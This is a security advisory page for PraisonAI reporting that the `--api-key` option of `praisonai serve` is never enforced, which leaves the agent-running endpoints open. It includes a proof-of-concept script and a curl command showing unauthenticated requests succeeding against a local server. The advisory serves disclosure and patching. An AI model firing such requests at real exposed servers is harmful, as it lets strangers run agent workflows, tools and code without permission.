PYSEC-2026-3893

See a problem?

Import Source

https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-3893.yaml

JSON Data

https://api.osv.dev/v1/vulns/PYSEC-2026-3893

Aliases

Published

2026-09-10T09:44:54Z

Modified

2026-09-10T12:15:07Z

Severity

8.8 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator

Summary

PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced

Details

Summary

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

Confirmed on 4.6.50 (current PyPI, 2026-06-02)
Likely since 4.6.34 when the serve subsystem shipped
File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107:  --api-key <key>   API key for authentication
199:            "api_key": {"default": None},
847:            "api_key": {"default": None},

Endpoints exposed without auth

POST /agents — runs the full agent workflow
POST /agents/{name} — invokes a specific agent
POST /api/v1/agents/{id}/invoke — n8n integration endpoint
GET / — lists all endpoints
GET /__praisonai__/discovery — service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.

PoC

Setup

python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

import sys, types, tempfile, os

# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
          "praisonai.api", "praisonai.api.agent_invoke",
          "praisonai.agents_generator", "praisonai.inc"]:
    sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
    def __init__(self, **k): pass
    def add_provider(self, *a, **k): pass
    def add_endpoint(self, *a, **k): pass
    def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False

class FakeGen:
    def __init__(self, **k): pass
    def generate_crew_and_kickoff(self):
        return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen

class FakeLLM:
    def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n  a:\n    name: A\n    role: R\n    goal: G\n    backstory: B\n")
f.flush()

from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
    "file": f.name, "host": "0.0.0.0", "port": 8000,
    "path": "/agents", "reload": False,
    "api_key": "supersecret",   # <-- should protect the server
})

from starlette.testclient import TestClient
c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
            headers={"Authorization": "Bearer TOTALLY_WRONG"})

print(f"No auth header → {r1.status_code}")   # 200
print(f"Wrong key      → {r2.status_code}")   # 200

os.unlink(f.name)

Output

No auth header → 200
Wrong key      → 200

Both succeed. The key is ignored.

Live server test

# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'
# → 200, workflow executes

Impact

Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.

What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.

Fix

_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.

References

CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)

References

Affected packages

PyPI / praisonai

Package

Name: praisonai; View open source insights on deps.dev
Purl: pkg:pypi/praisonai

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

4.6.58

Affected versions

0.*

0.0.1

0.0.2

0.0.3

0.0.4

0.0.5

0.0.6

0.0.7

0.0.8

0.0.9

0.0.10

0.0.11

0.0.12

0.0.13

0.0.14

0.0.15

0.0.16

0.0.17

0.0.18

0.0.19

0.0.20

0.0.21

0.0.22

0.0.23

0.0.24

0.0.25

0.0.26

0.0.27

0.0.28

0.0.29

0.0.30

0.0.31

0.0.32

0.0.33

0.0.34

0.0.35

0.0.36

0.0.37

0.0.38

0.0.39

0.0.40

0.0.41

0.0.42

0.0.43

0.0.44

0.0.45

0.0.46

0.0.47

0.0.48

0.0.49

0.0.50

0.0.52

0.0.53

0.0.54

0.0.55

0.0.56

0.0.57

0.0.58

0.0.59rc2

0.0.59rc3

0.0.59rc5

0.0.59rc6

0.0.59rc7

0.0.59rc8

0.0.59rc9

0.0.59rc11

0.0.59

0.0.61

0.0.64

0.0.65

0.0.66

0.0.67

0.0.68

0.0.69

0.0.70

0.0.71

0.0.72

0.0.73

0.0.74

0.1.0

0.1.1

0.1.2

0.1.3

0.1.4

0.1.5

0.1.6

0.1.7

0.1.8

0.1.9

0.1.10

1.*

1.0.0

1.0.1

1.0.2

1.0.3

1.0.4

1.0.5

1.0.6

1.0.8

1.0.9

1.0.10

1.0.11

2.*

2.0.0

2.0.1

2.0.2

2.0.3

2.0.5

2.0.6

2.0.7

2.0.8

2.0.9

2.0.10

2.0.11

2.0.12

2.0.13

2.0.14

2.0.15

2.0.16

2.0.17

2.0.18

2.0.19

2.0.20

2.0.22

2.0.23

2.0.24

2.0.25

2.0.26

2.0.27

2.0.28

2.0.29

2.0.30

2.0.31

2.0.32

2.0.33

2.0.34

2.0.35

2.0.36

2.0.37

2.0.38

2.0.39

2.0.40

2.0.41

2.0.42

2.0.43

2.0.44

2.0.45

2.0.46

2.0.47

2.0.48

2.0.49

2.0.50

2.0.51

2.0.53

2.0.54

2.0.55

2.0.56

2.0.57

2.0.58

2.0.59

2.0.60

2.0.61

2.0.62

2.0.63

2.0.64

2.0.65

2.0.66

2.0.67

2.0.68

2.0.69

2.0.70

2.0.71

2.0.72

2.0.73

2.0.74

2.0.75

2.0.76

2.0.77

2.0.78

2.0.79

2.0.80

2.0.81

2.1.0

2.1.1

2.1.4

2.1.5

2.1.6

2.2.1

2.2.2

2.2.3

2.2.4

2.2.5

2.2.6

2.2.7

2.2.8

2.2.9

2.2.10

2.2.11

2.2.12

2.2.13

2.2.14

2.2.15

2.2.16

2.2.17

2.2.18

2.2.19

2.2.20

2.2.21

2.2.22

2.2.24

2.2.25

2.2.26

2.2.27

2.2.28

2.2.29

2.2.30

2.2.31

2.2.32

2.2.33

2.2.34

2.2.35

2.2.36

2.2.37

2.2.38

2.2.39

2.2.40

2.2.41

2.2.42

2.2.43

2.2.44

2.2.45

2.2.46

2.2.47

2.2.48

2.2.49

2.2.50

2.2.51

2.2.52

2.2.53

2.2.54

2.2.55

2.2.56

2.2.57

2.2.58

2.2.59

2.2.60

2.2.61

2.2.62

2.2.63

2.2.64

2.2.65

2.2.66

2.2.67

2.2.68

2.2.69

2.2.70

2.2.71

2.2.72

2.2.73

2.2.74

2.2.75

2.2.76

2.2.77

2.2.78

2.2.79

2.2.80

2.2.81

2.2.82

2.2.83

2.2.84

2.2.86

2.2.87

2.2.88

2.2.89

2.2.90

2.2.91

2.2.93

2.2.95

2.2.96

2.2.97

2.2.98

2.2.99

2.3.0

2.3.1

2.3.2

2.3.3

2.3.4

2.3.5

2.3.6

2.3.7

2.3.8

2.3.9

2.3.10

2.3.11

2.3.12

2.3.13

2.3.14

2.3.15

2.3.16

2.3.18

2.3.19

2.3.20

2.3.21

2.3.22

2.3.23

2.3.24

2.3.25

2.3.26

2.3.27

2.3.28

2.3.29

2.3.30

2.3.31

2.3.32

2.3.33

2.3.34

2.3.35

2.3.36

2.3.37

2.3.38

2.3.39

2.3.40

2.3.41

2.3.42

2.3.43

2.3.44

2.3.45

2.3.46

2.3.47

2.3.48

2.3.49

2.3.50

2.3.51

2.3.52

2.3.53

2.3.54

2.3.55

2.3.56

2.3.57

2.3.58

2.3.59

2.3.60

2.3.61

2.3.62

2.3.63

2.3.64

2.3.65

2.3.66

2.3.67

2.3.68

2.3.69

2.3.70

2.3.71

2.3.72

2.3.73

2.3.74

2.3.75

2.3.76

2.3.77

2.3.78

2.3.79

2.3.80

2.3.81

2.3.82

2.3.83

2.3.84

2.3.85

2.3.86

2.3.87

2.4.0

2.4.1

2.4.2

2.4.3

2.4.4

2.5.0

2.5.1

2.5.2

2.5.3

2.5.4

2.5.5

2.5.6

2.5.7

2.6.0

2.6.1

2.6.2

2.6.3

2.6.4

2.6.5

2.6.6

2.6.7

2.6.8

2.7.0

2.8.3

2.8.4

2.8.5

2.8.6

2.8.7

2.8.8

2.8.9

2.9.0

2.9.1

2.9.2

3.*

3.0.0

3.0.1

3.0.2

3.0.3

3.0.4

3.0.5

3.0.6

3.0.7

3.0.8

3.0.9

3.1.0

3.1.1

3.1.2

3.1.3

3.1.4

3.1.5

3.1.6

3.1.7

3.1.8

3.1.9

3.2.0

3.2.1

3.3.0

3.3.1

3.4.0

3.4.1

3.5.0

3.5.1

3.5.2

3.5.3

3.5.4

3.5.5

3.5.6

3.5.7

3.5.8

3.5.9

3.6.0

3.6.1

3.6.2

3.7.0

3.7.1

3.7.2

3.7.3

3.7.4

3.7.5

3.7.6

3.7.7

3.7.8

3.7.9

3.8.0

3.8.1

3.8.2

3.8.3

3.8.4

3.8.5

3.8.6

3.8.7

3.8.8

3.8.9

3.8.10

3.8.11

3.8.12

3.8.13

3.8.14

3.8.16

3.8.17

3.8.18

3.8.19

3.8.20

3.8.21

3.8.22

3.9.0

3.9.1

3.9.2

3.9.3

3.9.4

3.9.5

3.9.6

3.9.7

3.9.8

3.9.9

3.9.10

3.9.11

3.9.12

3.9.13

3.9.14

3.9.15

3.9.16

3.9.17

3.9.18

3.9.19

3.9.20

3.9.21

3.9.22

3.9.23

3.9.24

3.9.25

3.9.26

3.9.27

3.9.28

3.9.29

3.9.30

3.9.31

3.9.32

3.9.33

3.9.34

3.9.35

3.10.0

3.10.1

3.10.2

3.10.3

3.10.4

3.10.5

3.10.6

3.10.7

3.10.8

3.10.9

3.10.10

3.10.11

3.10.12

3.10.13

3.10.14

3.10.15

3.10.16

3.10.17

3.10.18

3.10.19

3.10.20

3.10.21

3.10.22

3.10.23

3.10.24

3.10.25

3.10.26

3.10.27

3.11.0

3.11.1

3.11.2

3.11.3

3.11.4

3.11.8

3.11.9

3.11.10

3.11.11

3.11.12

3.11.13

3.11.14

3.12.0

3.12.1

3.12.2

3.12.3

4.*

4.0.0

4.1.0

4.2.0

4.2.1

4.2.2

4.2.3

4.2.4

4.3.0

4.3.1

4.4.0

4.4.2

4.4.3

4.4.4

4.4.5

4.4.6

4.4.7

4.4.8

4.4.9

4.4.10

4.4.11

4.4.12

4.5.0

4.5.1

4.5.2

4.5.3

4.5.5

4.5.6

4.5.7

4.5.8

4.5.9

4.5.10

4.5.11

4.5.12

4.5.13

4.5.14

4.5.15

4.5.16

4.5.18

4.5.19

4.5.20

4.5.21

4.5.22

4.5.23

4.5.24

4.5.25

4.5.26

4.5.27

4.5.28

4.5.29

4.5.30

4.5.31

4.5.32

4.5.33

4.5.34

4.5.35

4.5.36

4.5.37

4.5.38

4.5.39

4.5.40

4.5.41

4.5.42

4.5.43

4.5.44

4.5.45

4.5.46

4.5.48

4.5.49

4.5.51

4.5.52

4.5.54

4.5.55

4.5.56

4.5.57

4.5.58

4.5.59

4.5.60

4.5.62

4.5.63

4.5.64

4.5.65

4.5.67

4.5.68

4.5.69

4.5.70

4.5.71

4.5.72

4.5.73

4.5.74

4.5.76

4.5.77

4.5.78

4.5.79

4.5.80

4.5.81

4.5.82

4.5.83

4.5.85

4.5.87

4.5.88

4.5.89

4.5.90

4.5.93

4.5.94

4.5.95

4.5.96

4.5.97

4.5.98

4.5.100

4.5.101

4.5.102

4.5.103

4.5.104

4.5.105

4.5.106

4.5.107

4.5.108

4.5.109

4.5.110

4.5.111

4.5.112

4.5.113

4.5.114

4.5.115

4.5.117

4.5.118

4.5.119

4.5.120

4.5.121

4.5.122

4.5.123

4.5.124

4.5.125

4.5.126

4.5.127

4.5.128

4.5.129

4.5.130

4.5.131

4.5.132

4.5.133

4.5.134

4.5.135

4.5.136

4.5.137

4.5.139

4.5.140

4.5.143

4.5.144

4.5.145

4.5.149

4.6.9

4.6.10

4.6.11

4.6.12

4.6.13

4.6.14

4.6.15

4.6.16

4.6.18

4.6.19

4.6.20

4.6.21

4.6.22

4.6.23

4.6.24

4.6.25

4.6.26

4.6.27

4.6.28

4.6.29

4.6.30

4.6.31

4.6.32

4.6.33

4.6.34

4.6.35

4.6.36

4.6.37

4.6.38

4.6.39

4.6.40

4.6.41

4.6.42

4.6.43

4.6.44

4.6.45

4.6.46

4.6.47

4.6.48

4.6.50

4.6.51

4.6.52

4.6.53

4.6.54

4.6.55

4.6.56

4.6.57

Database specific

source

"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-3893.yaml"